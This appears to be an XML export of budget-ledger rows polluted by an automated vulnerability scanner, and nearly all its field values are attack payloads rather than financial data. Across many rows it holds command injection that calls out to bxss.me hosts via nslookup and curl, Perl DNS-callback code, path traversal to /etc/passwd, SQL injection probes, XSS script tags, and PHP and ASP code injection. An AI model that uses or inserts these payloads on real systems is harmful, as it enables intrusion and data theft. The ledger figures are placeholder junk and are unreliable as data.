<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>(nslookup -q=cname hitofitulmmvl9f4a7.bxss.me||curl hitofitulmmvl9f4a7.bxss.me))</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>19803843</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>expr 9000497090 - 982094</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>|echo mlxqae$()\ wquhub\nz^xyu||a #' |echo mlxqae$()\ wquhub\nz^xyu||a #|" |echo mlxqae$()\ wquhub\nz^xyu||a #</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&amp;echo lpcxtk$()\ qxamtc\nz^xyu||a #' &amp;echo lpcxtk$()\ qxamtc\nz^xyu||a #|" &amp;echo lpcxtk$()\ qxamtc\nz^xyu||a #</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>19614878</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>echo dxnnxt$()\ yiiqjs\nz^xyu||a #' &amp;echo dxnnxt$()\ yiiqjs\nz^xyu||a #|" &amp;echo dxnnxt$()\ yiiqjs\nz^xyu||a #</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>Http://bxss.me/t/fit.txt</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>".gethostbyname(lc("hitnd"."sklgbfvv6a610.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(86).chr(98).chr(79)."</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>'.gethostbyname(lc('hitiu'.'rnzmaers661c9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(89).chr(105).chr(86).'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>'.gethostbyname(lc('hitdm'.'kdkjmprb05d43.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(88).chr(112).chr(73).'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>|(nslookup${IFS}-q${IFS}cname${IFS}hitadlnppgiua68ee4.bxss.me||curl${IFS}hitadlnppgiua68ee4.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>echo cxwbwl$()\ pzaqax\nz^xyu||a #' &amp;echo cxwbwl$()\ pzaqax\nz^xyu||a #|" &amp;echo cxwbwl$()\ pzaqax\nz^xyu||a #</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>${9999817+9999471}</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'.gethostbyname(lc('hitxy'.'gdqpahbcccb1f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(71).chr(98).chr(71).'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>`(nslookup -q=cname hitsyjhtcuuhzbf470.bxss.me||curl hitsyjhtcuuhzbf470.bxss.me)`</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>|(nslookup -q=cname hityvuskvdknube9a3.bxss.me||curl hityvuskvdknube9a3.bxss.me)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>../1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>';print(md5(31337));$a='</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>(nslookup -q=cname hitftohevawalb06cc.bxss.me||curl hitftohevawalb06cc.bxss.me))</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>../../../../../../../../../../../../../../etc/passwd</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>expr 9000734696 - 964849</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>|echo gkywuv$()\ uvaqui\nz^xyu||a #' |echo gkywuv$()\ uvaqui\nz^xyu||a #|" |echo gkywuv$()\ uvaqui\nz^xyu||a #</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>../../../../../../../../../../../../../../etc/passwd</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(select 198766*667891)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>@@Rq7sv</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;IL0D(9416)&lt;/ScRiPt&gt;</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;IL0D(9208)&lt;/ScRiPt&gt;</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>"+response.write(9155165*9395182)+"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>gethostbyname(lc('hitzh'.'tnesutje6628b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(77).chr(100).chr(70)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=26 or "XWBjDI66"="</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=25 or "XWBjDI66"="</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=26 or 'jdCMQpFe'='</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&amp;echo jougxd$()\ ezarjv\nz^xyu||a #' &amp;echo jougxd$()\ ezarjv\nz^xyu||a #|" &amp;echo jougxd$()\ ezarjv\nz^xyu||a #</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=25 or 'jdCMQpFe'='</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=26 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=25 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=26 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=25 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=26</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=25</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
